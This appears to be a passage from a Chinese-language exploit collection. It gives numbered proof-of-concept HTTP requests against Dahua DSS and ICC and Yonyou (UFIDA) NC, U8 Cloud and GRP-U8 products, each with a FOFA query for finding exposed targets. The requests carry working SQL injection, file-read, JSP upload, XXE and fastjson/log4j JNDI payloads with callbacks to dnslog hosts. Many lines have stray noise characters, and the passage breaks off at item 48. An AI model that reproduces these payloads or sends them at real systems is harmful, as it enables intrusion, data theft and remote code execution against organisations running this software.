2 c- U1 s5 i' S1 OGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) i' u3 s( J  p/ L' {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
* a! `6 ~5 i1 pConnection: close
. w6 p' ~% T) H/ g; A4 K/ L! e, {1 GAccept: */*
Accept-Language: en
Accept-Encoding: gzip
0 K6 K) m6 r5 c# @( _) }

17. 大华 DSS itcBulletin SQL 注入
2 T8 g( [# m# iFOFA：app="dahua-DSS"
' {4 L0 V$ j% DPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 M. }0 L) e$ Z: a% r! gContent-Length: 345
) Y6 O" l6 T* d* B& Q1 NAccept-Encoding: gzip
& `: d3 x* Q8 G! Z
( E. p% P% g) n, _# N* {( t( e9 i! X<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
# L) y' M' ]! j3 I* H, i: i) ?' |<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
; j* f7 _% N# _! y! [       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
( }* w4 ]& I. R. ?9 {0 l3 j      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
5 p" y2 K- C: ?- mGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
7 b: m2 G1 J& m2 _Host: your-ip
6 K4 {9 }0 D6 ^1 v" YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 c! d. c9 p( f4 I2 K, NAccept-Encoding: gzip, deflate
/ r  r! e. Z/ b) cAccept: */*
Connection: keep-alive


' G& W% `' a& S1 K0 f" z
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, L8 d/ L. t3 _# z& x% E. X& RFOFA：app="dahua-DSS"
( }$ w- \0 S2 J; l  AGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
9 Z/ T, Q! S* T2 m  Q+ yHost:
2 C2 r, z, K$ S# AUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) F1 h% L" t. N# IAccept-Encoding: gzip, deflate
. w) o9 m+ @1 T; }0 k* ^' ~Accept: */*
Connection: keep-alive

) x/ N+ E0 d- y, _& [  _8 J4 d
+ @9 Q5 G. f6 Q7 d& Y1 F- x% W20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
) H0 p: d" |7 @7 p! x) [GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 [' n2 ^% k, r; [6 f, ?2 S6 Z' |Host: x.x.x.x
' n% |9 ~! R  s+ xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, U3 @& d9 w" g4 CConnection: close
Accept: */*
Accept-Language: en
& z# r1 D1 v) T3 V7 e+ _Accept-Encoding: gzip

% i& K. Z- h9 h3 I! B& F/ b
) ~3 ^$ }, g2 A# d/ c& j3 c$ J' n21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
% r' A2 \" h8 L% y) g9 y5 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
6 X7 M  f" _: p' {. RAccept-Encoding: gzip
Connection: close
0 b. d% I0 @# o8 G3 r8 U! g7 F2 `Content-Type: application/json;charset=utf-8

3 \6 n/ g7 W5 A{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
' r$ k7 ]' B" O: C5 @4 n/ k    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
0 N. X! \4 r+ c8 I& e6 ^3 G; R  }""
, P' W0 C$ w4 e}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
) f: e4 p' X6 S* P& B: t' H- hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" a2 u4 y/ h( r8 gContent-Type: application/json;charset=utf-8

1 m' h: C+ Q' |2 T: w{
"loginName":"${jndi:ldap://dnslog}"
}
. `9 N; u# q7 {: W/ M6 }


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
& U6 D5 ]( t' M! c0 v6 y) U  D( iPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 e2 l, O$ c' s7 e; k, LContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
8 P: m$ i3 p* ~& \* F* ]       {"@type":"java.net.URL","val":"http://DNSLOG"}
, P$ [+ H# D2 }" ]. ^) D        }""
& x8 F( ~2 b! j, v8 u, ]}
5 ^# s8 l& v( c1 V

24. 用友NC 6.5 accept.jsp任意文件上传
! u/ d8 O' {: ^5 m) {7 _2 \FOFA：icon_hash="1085941792"
- N* ?( L* ?) _! b0 t' o& NPOST /aim/equipmap/accept.jsp HTTP/1.1
8 A+ R/ _9 V6 W2 m' a/ HHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
- e5 I6 v$ R' W, TConnection: close
, s* f( `9 d. @Content-Length: 449
Accept: */*
5 k+ f6 j$ ~% A: E& {3 C4 Y  |Accept-Encoding: gzip
- X, o1 D% {) v) _Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

4 m. E" x" ~. U1 s# d7 T-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ U, ^* T) c. f; cContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
. z, U- f3 |  A# K7 r% O-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
0 G: J2 C& [, A: @4 S( l

/ c' W" S0 w- b5 c25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
+ r1 R7 I. K, L8 D2 D) x6 U" gPOST /portal/registerServlet HTTP/1.1
- z1 T5 ?, n: k+ OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
# s0 N9 [1 K: ?, D. N$ m( s! [) RAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog


' K9 A1 s8 q7 _
1 j( a$ P% _7 }1 I2 W26. 用友NC linkVoucher SQL注入
' H0 v! N5 `2 L* G+ \FOFA：app="用友-UFIDA-NC"
5 a. R; q* y; M" d4 AGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 O8 N6 M# t3 C3 K9 t+ tAccept: */*
Connection: keep-alive
4 a+ R- q) |/ U* f1 F

27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
1 u& w4 h# _6 `9 NGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
0 J" v5 d/ x3 L% cHost: your-ip
1 d, s5 U2 K- d0 \6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
% |4 }4 {6 J! F' mConnection: close
Content-Type: text/xml; charset=utf-8


- m9 T! K( T& @: T8 d9 Z28. 用友NC grouptemplet 任意文件上传
$ F5 d2 E" r( e' i& yFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
* P6 i0 u" `0 e. ~! z, {4 bHost: x.x.x.x
6 V- o! I* W& z; H/ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
& }! t' n3 Y/ y; i+ oContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
/ s4 D% A  ^& P- r) Z1 g* b
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
" U$ D3 ~9 @" P7 ~. [------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
1 W/ M6 I4 O7 s" s& }! L
& F& i% P9 }' X7 Z- a6 G: ]$ r
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
5 g* p4 v3 k2 TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: ]1 ?! u) ^) p& g4 O5 WHost: your-ip
+ s2 E2 t# ]2 l7 s' h6 k; c: n/ f  R- o4 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 g7 ^' w: @" l4 y4 d( `( B$ }# v

" I, K' u& |* L- y; `30. 用友NC importPml SQL注入
& b' z2 J) N  E' t1 ~8 h$ }FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
! k9 S  N+ k" s8 g$ f# wPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
1 r) ]) L6 Z4 ?4 A6 l( z3 g; UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
6 R& [, m* B9 H* IContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

; V" F+ S2 Q" c' G- ^
% E) ]& z! `, _! E( r1 t31. 用友NC runStateServlet SQL注入
9 `$ ~# @8 U* X, ?- _version<=6.5
* ], P# m) m2 _6 j+ F& ~FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 X7 @4 P2 L6 ]% X, BHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ `2 M5 h# A1 d) g4 g- C( K5 G' r9 ~- NContent-Type: application/x-www-form-urlencoded

! {# o2 t6 @: ?+ @. X& K
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
9 l1 g8 f# W0 s4 M+ P! xFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
9 U' {* s# q7 ^# k+ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' C4 f6 Q. v  {3 ?8 r& t# D, U2 fContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
3 I. Z" g: n* ?7 H! x- I. ?7 TAccept: */*
Connection: keep-alive

& W! z5 P+ P* Q6 \% R* P
3 K3 i4 {! ^4 S9 x% l5 Q33. 用友NC downTax/download SQL注入
- y3 C* r* H9 e+ J* J2 O0 ^version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; d% K8 l; n$ v( ^! z, H  ~" l2 sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


8 q& H+ z: O+ {& ^! L% y- S; h4 Z34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
/ D% s/ H  t. x$ k4 L. fGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
! D  B/ l/ A4 E6 V* mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

3 F  T- m; J: r& o/ [
35. 用友NC-Cloud importhttpscer任意文件上传
$ y) Q3 ^; H  `FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
: F5 ?5 t9 z. A/ O, `Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
& P" A7 K0 ~  B2 IaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
5 y" U# B& E( c7 ?Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
/ g" T% S' Y6 K5 ~& E( q
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

$ D6 U' F: ?" ~% N" \& B
* n& K+ u. m9 b5 u8 @5 I! M36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
+ N# Y" Y+ S8 o) T1 V- t, u. ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* z, t; c) s  `* Y; F/ uAccept-Encoding: gzip, deflate
  P1 I& B' T/ s1 v# O$ eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 s- H$ N5 o6 `0 G2 v6 ]Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
3 B; I% h' [' P
) y! G9 z2 N' P# s6 R2 t. Fmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
+ D8 i# ~% N; t# t

37. 用友NC-Cloud IUpdateService XXE
0 F0 }2 f5 @+ B* R& WFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 u* Z) r6 U4 D/ \. U" i: U( APOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
2 l% Y$ Y* B& N! e' p5 e2 p. z3 U) `) PHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
) K, Z9 k7 F, vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
  |) ~! Z. J0 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
4 C: X6 x8 I" H! ?2 C/ E8 `<soapenv:Header/>
<soapenv:Body>
5 a9 Z* _3 t, L/ o. [5 c<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
3 K8 M5 K8 s3 s) T: z' q  q<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  P" `- ]- b5 n# s<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
/ ]/ L3 i5 T- x  K- {0 _</soapenv:Envelope>
$ e. k- p3 c' [6 E9 x9 v  i
+ `, E! j+ _3 ]1 ^+ J; F$ M

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
7 O2 {( u1 {' O) p+ z. P1 n+ NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
0 c* x4 w; V2 Y6 G; [Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
% ^/ {7 F# \- H" Z$ z" u* qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 j; O- F4 X" M0 l' s$ M( r. C  N! FContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
5 B' s* `% Q( E+ Z! k
( k. M! ~0 p% E' v
39. 用友U8 Cloud RegisterServlet SQL注入
* K5 O9 P; n* W* P3 m5 r* {FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
  |4 E( R' b3 P' Q$ ^3 S  b/ wHost: 192.168.86.128:8089
7 R( q# n) E7 ^8 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
1 s! d4 j, y' S( m8 t, C! Y8 @- uAccept: */*
$ k" O3 f( v: Q& _+ VAccept-Language: en
/ I/ u+ p0 q# t  i5 N" t0 rContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

' i. @* d: H: a7 ^2 Q4 s
# C' d; F! a5 J: e1 I40. 用友U8-Cloud XChangeServlet XXE
. W5 a/ ]- G1 B4 C# oFOFA：app="用友-U8-Cloud"
2 w4 q( Z7 W% Z: g+ [/ lPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; G: d* C. F% {; A, i/ C6 OContent-Type: text/xml
Connection: close
* ~. V) o$ K8 ?. \1 c3 L
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

) [' c! F' F9 x1 [) E: n+ E
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
! `0 E5 o6 i( E1 Y1 IFOFA：app="用友-U8-Cloud"
* |- u8 _$ n# X; Y# hGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ V3 x$ A$ P( w8 l1 PHost:
9 B' {0 K; o8 ^, `# UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
0 D( N1 W% s  g: ?Connection: close
: W1 H2 P6 b" B: S- H/ s3 j

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
; }6 H$ f5 S' B+ @; hHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
+ m, d+ t! C6 n* w& t, V1 \) ~  rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

4 `. O. v! u8 A- fPAYLOAD
' y* Z7 P! {5 F! h$ M% W5 o* K( R
9 r5 w2 ?9 a  l$ t% R3 v
! {% C6 d& T8 Hhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

4 [) r$ q5 I9 ~+ Y3 j! z% _; V43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* G) v3 l+ R8 u" z  _1 A1 P* S3 X9 BFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
9 v; K0 Y% b' @) o. eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 c" A" N, |5 U1 S5 `Connection: close
SOAPAction:
5 {, m* }+ m' i6 P* w, K& D! _! {Content-Type: text/xml;charset=UTF-8

. n& V6 }8 Z! p<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
2 }, E3 w/ T' u# L: i) p' i2 E+ M   <soapenv:Header/>
   <soapenv:Body>
- i% B- P  d/ p* p8 ~      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
, g, y8 P! m% @8 f         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
3 \0 x9 c- p: ~$ z2 O   </soapenv:Body>
3 \& H% R  T  h6 m+ e</soapenv:Envelope>


2 l  h) W2 F+ g7 ^7 l" W% [/ o44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* r4 n% g$ i% w# m2 g, LFOFA:app="用友-GRP-U8"
! `4 O6 L) M$ o# c5 c$ [, |+ c7 QGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
9 n# M; c0 S" l; R/ a# k- J6 THost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* b, z# U$ b" \0 W- l: O1 DAccept-Encoding: gzip, deflate
7 V5 q1 }! x! Q/ x9 C/ {0 CAccept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
' j/ k+ W6 @# u* x0 y1 R: {- SFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
/ |7 f4 g% k! I$ p: U/ k& ~4 u7 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
* ?# k5 ]/ Y/ OConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- M# @- M' I/ e6 L& x. \( ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

- }4 e3 B2 u; b, g) E0 ?reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


* W. S' n9 r. Z8 T( X4 c6 A# d46. 用友GRP-U8 sqcxIndex.jsp SQL注入
3 N5 R5 l( x: UFOFA：app="用友-GRP-U8"
) a; h( F) w% [GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
3 @/ _0 u6 _& L) n8 Z/ \- W( N6 d) PHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
# A6 ]$ S  z* g8 ^( VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ X; ~. y0 I% p0 ^: e( YAccept-Language: zh-CN,zh;q=0.9
9 F# T5 @  U5 @: B; cConnection: close
3 h. \3 M) _& [4 w+ `

/ N( W# \  `9 y' \2 J5 q8 [  w47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
8 o3 U; |& ?( W0 o$ I! r8 r8 bAccept-Language: zh-CN,zh;q=0.9
3 k" e* w; x, E- ?: r- [5 NIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

7 G5 I2 B: z6 E9 R. X% ?

48. 用友U8 CRM swfupload 任意文件上传
4 `# w+ L3 Q( D5 R7 g# G* ]; ~+ iFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
